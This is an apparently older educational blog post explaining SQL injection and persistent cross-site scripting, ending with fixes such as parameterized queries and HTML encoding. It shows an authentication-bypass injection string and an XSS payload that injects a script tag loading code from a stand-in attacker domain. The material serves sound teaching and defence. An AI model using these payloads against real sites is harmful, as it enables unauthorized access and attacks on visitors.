SQL Injection and Persistent Cross Site Scripting
A news article came through my twitter feed this morning about a new SQL Injection attack that has affected over 1M web sites:
For those not aware of what SQL Injection is, this vulnerability occurs when unvalidated data is mixed with SQL logic to change the nature of a SQL query. That may be a little confusing, so here’s an example. Let’s say you have a login page that has two text boxes: one for a username and one for a password. When the user clicks submit, the information is put into a SQL query to see if the user is exists:
SELECT username FROM users WHERE username=’username’ AND password=’password’;
That looks pretty simple. If I put “eric” as the username and “1234″ as the password, the query looks like:
SELECT username FROM users WHERE username=’eric’ AND password=’1234′;
But what if I put “1234′ or ’1′=’1″ in the password field?
SELECT username FROM users WHERE username=’username’ AND password=’1234′ or ’1′=’1′;
For the non-SQL folks, that will retrieve all records in user table, because it’s asking “give me all rows where username=x and password=x or when 1=1″. 1 will always equal 1, so every row will be returned. In the case of this attack, attackers were able to insert a script tag into the database that eventually gets inserted into the HTML of the site. That is where persistent cross site scripting comes in.
Cross site scripting (or XSS for short) is where untrusted/unvalidated data is inserted into the page. There are three main types of XSS. but let’s focus on the persistent flavor. Persistent XSS occurs when data is retrieved from the database and inserted into the page without being validated and encoded. What’s the problem with that? This is always a hard pill for developers to swallow, but your database is not a trusted store for data. See the above example for why!
To demonstrate persistent XSS, let’s say that the content of a blog article is stored in your application’s database. You want to post that article on your blog, so that data is pulled out of the database and inserted into the page. The article content looks like this:
The Auburn Tigers successfully routed the University of Virginia in the Chick-fil-a bowl! The Tigers will graduate very few seniors, so let’s hope for a better season next year.
Inserting that directly into a page doesn’t look bad, but if I use the SQL Injection attack above to edit the content of this article I could attack your users:
The Auburn Tigers successfully routed the University of Virginia in the Chick-fil-a bowl! The Tigers will graduate very few seniors, so let’s hope for a better season next year. <script src=”http://evilhacker.ru/youjustgothacked.js”>
So the SQL Injection sets up the attack, but the persistent XSS is actually the vulnerability being exploited here. If the persistent XSS was fixed, then no redirect. SQL Injection is still a serious vulnerability (#1 on OWASP Top 10) that should be fixed immediately.
So how do you fix these vulnerabilities? I can write entire blog posts for these attacks…but here’s a quick explanation.
First, a word about input validation. NEVER trust data that comes from a source you don’t control. Data from a user, web service, database, external system, are outside the sphere of influence of the application, so VALIDATE the data.
The best way to fix SQL Injection is to use parameterized queries. Parameterization is basically putting place holders into your SQL query, and the letting your platform insert the data for you. This will fix the vast majority of SQL Injection issues. Every platform is a little different, so try googling “parameterizing SQL queries” for your specific language to get an example.
For cross site scripting, the best fix is using encoding. If the data is being inserted into HTML, use HTML encoding. This will encode all of the malicious characters, not allowing them to be executed. Not all encoding libraries are good enough. Check out the OWASP ESAPI or the Anti-XSS Library from Microsoft if you’re using .NET.